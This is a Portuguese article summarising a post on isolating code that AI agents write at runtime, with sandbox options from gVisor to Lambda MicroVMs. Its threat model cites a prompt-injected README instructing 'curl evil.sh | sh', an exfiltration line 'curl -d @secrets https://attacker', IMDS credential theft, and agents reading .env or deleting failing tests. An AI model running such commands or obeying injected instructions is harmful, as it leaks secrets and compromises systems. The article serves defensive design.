AWS HubAWS HubSão Paulo operando · 2 eventos no mundo

AgentesComunidade

Nível de dificuldade: Intermediário (3 de 5)

Como isolar código que agentes de IA escrevem sozinhos

Por AWS Hub7 min de leitura

Código que ninguém revisou: por que agente de IA precisa de sandbox

Um chatbot devolve texto. Um agente age: ele roda pip install, escreve um script, executa, lê a saída e tenta de novo.

O problema, como descreve o post de Meena Thandavarayan no AWS Builder Center (publicado em 19 de novembro de 2026), é que esse código foi escrito em tempo de execução por um modelo, e a entrada do modelo pode vir de lugares que o agente não controla: o prompt do usuário (que pode ser hostil), conteúdo recuperado da web, de e-mails ou de PDFs (onde mora a injeção indireta de prompt, como um README.md que instrui curl evil.sh | sh) e a saída de ferramentas de passos anteriores, que também pode estar comprometida.

Na prática, isso significa tratar todo código gerado por modelo como se fosse código enviado por um estranho anônimo: na maioria das vezes inofensivo, ocasionalmente destrutivo, e impossível de saber qual é qual antes de rodar. Revisar manualmente não escala para milhares de chamadas de ferramenta por hora, e o mesmo risco existe sem nenhum ataque: um rm -rf $DIR/ alucinado, com $DIR vazio, não precisa de intenção maliciosa para apagar o que não devia.

Separe o cérebro das mãos antes de escolher tecnologia

Antes de escolher o runtime de isolamento, o post recomenda uma decisão arquitetural: separar o loop do modelo e do agente (o cérebro) da execução de código (as mãos). O cérebro guarda credenciais, estado da conversa e política; as mãos não guardam nada disso e são acessadas por uma interface estreita de ferramentas, como um servidor MCP expondo exec, read_file, write_file e browser_*.

Esse padrão é o mesmo em volta do qual o Lambda MicroVMs foi desenhado: o cérebro pode rodar em qualquer framework ou fornecedor, as mãos ficam na conta AWS do usuário, perto dos dados. Um exemplo de ferramenta do lado do cérebro, que só faz proxy para uma sandbox:

python
from mcp.server.fastmcp import FastMCP
import sandbox_client  # cliente para pods gVisor/Kata, Lambda MicroVMs ou um SDK de serviço

mcp = FastMCP("sandbox")

@mcp.tool()
def run(session_id: str, command: str, timeout_s: int = 60) -> dict:
    """Roda um comando shell na sandbox isolada do chamador."""
    sb = sandbox_client.get_or_create(session_id, template="python-3.12", egress="allowlist:pypi")
    r = sb.exec(command, timeout=timeout_s)
    return {"exit_code": r.exit_code, "stdout": r.stdout[-20_000:], "stderr": r.stderr[-5_000:]}

if __name__ == "__main__":
    mcp.run()

Truncar a saída antes de devolvê-la ao modelo importa: a saída da ferramenta é entrada não confiável para a próxima chamada do modelo.

O que o isolamento resolve, e o que ele não resolve

O post monta um modelo de ameaças de oito linhas, e só a primeira é sobre o runtime de isolamento em si: fuga de kernel via bugs como Dirty Pipe (CVE-2022-0847) ou Dirty COW (CVE-2016-5195). As outras sete, que segundo o autor são as que mais ficam de fora na prática, dependem de controles de rede, identidade e recursos:

  • Roubo de credencial: acesso ao IMDS em 169.254.169.254, a um token de service account montado, ou a variáveis de ambiente.
  • Exfiltração de dados: curl -d @secrets https://attacker ou tunelamento via DNS, contido por egress padrão-negado e allowlist de domínio.
  • Abuso de recurso: mineração ou fork bomb, contido por cgroups, limite de PID e cota de disco.
  • Movimento lateral: chamar a API do cluster ou outros pods, contido por política de rede e ausência de token de service account.
  • Vazamento entre sessões: uma sandbox por sessão, destruída depois.
  • Uso malicioso "legítimo": ler um .env do repositório ou apagar testes que estão falhando usa acesso permitido para a coisa errada, e isolamento não enxerga intenção.
  • Canais laterais: vazamentos classe Spectre entre inquilinos co-localizados, que só hosts dedicados ou enclaves resolvem.

Do kernel compartilhado à microVM: as quatro opções de verdade

Cada syscall que o código do agente faz (write, socket, mmap, clone) tem que ir para algum lugar, e é esse lugar que define a opção.

runc puro e gVisor

Um container runc comum (o padrão em todo pod Kubernetes) isola namespaces e cgroups, mas as syscalls do agente chegam direto ao kernel do host, o mesmo que todo outro pod do nó usa. É endurecível com seccomp, drop de capabilities, runAsNonRoot e filesystem raiz somente leitura, mas continua sendo só para código que você escreveu e confia, nunca para código que o modelo gerou.

O gVisor troca isso por um kernel de aplicação em espaço de usuário, o Sentry, escrito em Go, que implementa a interface de syscall do Linux e intercepta cada chamada antes que ela chegue ao host. Roda como runtime OCI (runsc) em instâncias EC2 comuns, sem precisar de .metal, o que dá densidade alta, mas paga pedágio em cargas com muito I/O (builds grandes, muitos arquivos pequenos) e não suporta tudo (io_uring, bpf e alguns ioctl ficam de fora). Para confirmar que está ativo, kubectl exec agent-sandbox -- dmesg mostra as mensagens de boot do próprio gVisor, não as do host.

Kata Containers e Firecracker

Kata Containers sobe cada pod dentro de uma VM leve com seu próprio kernel guest, enquanto o Kubernetes continua tratando como um pod normal; o containerd-shim-kata-v2 inicia a VM via QEMU, Cloud Hypervisor ou Firecracker, e as syscalls caem no kernel guest, não no host. A compatibilidade com Linux é total, mas o custo é de 150 a 500 ms de startup a mais e a necessidade de nós que rodem VM (*.metal ou virtualização aninhada).

O Firecracker, criado pela AWS para Lambda e Fargate, é a peça de baixo nível: um VMM minimalista em Rust que expõe poucos dispositivos virtio e inicia uma microVM em torno de 125 ms, o que permite milhares delas por host e snapshot/restore rápido. Mas é um bloco de construção, não uma plataforma: quem usa Firecracker puro constrói sozinho o agendamento, a rede e o pipeline de imagem, ou usa por meio do Kata, ou por um serviço gerenciado.

As opções gerenciadas da AWS: Lambda MicroVMs e Bedrock AgentCore Runtime

É aqui que entra o recorte da AWS. O Lambda MicroVMs oferece um ambiente Firecracker isolado e de curta duração, na própria conta do usuário, para o agente escrever, buildar, testar e rodar código, sem que o time precise operar frota .metal, VMM ou pool de microVMs. O post cita integrações documentadas pela AWS em que a OpenAI Agents API, o Claude Managed Agents e o Cursor Cloud Agents usam Lambda MicroVMs como ambiente de execução auto-hospedado, com um exemplo de microVM Firecracker por sessão dirigida por JSON-RPC 2.0 sobre WebSockets para chamada de ferramenta inline.

O Bedrock AgentCore Runtime resolve um problema vizinho: hospeda o agente inteiro, loop incluído, com cada sessão de usuário numa microVM isolada que é destruída ao fim da sessão, mais serviços companheiros de identidade, gateway de ferramentas, memória, interpretador de código, navegador e observabilidade. Quem empacota o agente como container e invoca com um session_id não precisa pensar em kernel nem em pool de VM.

A diferença prática: Lambda MicroVMs dá uma sandbox para plugar em qualquer agente; AgentCore Runtime dá um lugar para rodar o agente inteiro. Os dois podem ser combinados.

Checklist para escolher sua sandbox

OpçãoIsolamentoStartupCompatibilidade LinuxQuem opera
runc puroBaixo~50-150 msTotalSeu cluster
gVisorMédio-alto~150-500 msA maior parteSeu cluster + runtime
Kata ContainersAlto~150-500 msTotalCluster + .metal + VMM
FirecrackerAlto~125 ms de bootTotalTudo, você constrói
Lambda MicroVMsAltoDefinido pelo serviçoTotalSeu código + rede
Bedrock AgentCore RuntimeAltoDefinido pelo serviçoTotalSeu agente

(valores aproximados, do próprio post; variam por configuração e devem ser medidos na carga real)

A escolha depende de três perguntas que o post propõe, direcionadas a quem decide infraestrutura de agente: quanto a sua carga precisa de compatibilidade total com Linux (compilador, navegador headless, pacote de sistema) contra densidade e custo por sessão; se você já opera Kubernetes com nós .metal ou prefere não construir nada disso; e se o que falta é uma sandbox para plugar num agente existente ou uma casa completa para hospedar o agente.

Isolamento forte não substitui política: mesmo numa microVM, rm -rf ./build e rm -rf ./src são a mesma syscall, e cat README.md e cat .env são o mesmo acesso permitido usado para a coisa errada. O runtime de isolamento contém o estrago de um kernel comprometido; uma política de ação semântica, separada, é quem decide se o agente deveria estar fazendo aquilo.

Fonte: AWS Builder Center

Serviços neste textoAgentes

Leve para a sua IA

Decida com o seu assistente, com o contexto deste texto já montado.

1. O que você quer saber

Ver o prompt
Li no AWS Hub: "Como isolar código que agentes de IA escrevem sozinhos" (https://awshub.com.br/comunidade/como-isolar-codigo-que-agentes-de-ia-escrevem-sozinhos).
Resumo: Um agente que roda pip install e executa scripts é um programa que escreve programas que ninguém revisou. Da primeira camada de containers às microVMs gerenciadas da AWS, eis como escolher o isolamento certo.
Serviços: Agentes

Minha stack: [descreva em uma linha: serviços, linguagem, volume, região]

Isso muda alguma coisa na minha arquitetura? O que eu faria diferente a partir de amanhã?

Newsletter semanal

A semana da AWS, em português

Os lançamentos que importam, o que chegou à região São Paulo e o melhor tutorial da semana. Toda sexta, gratuita.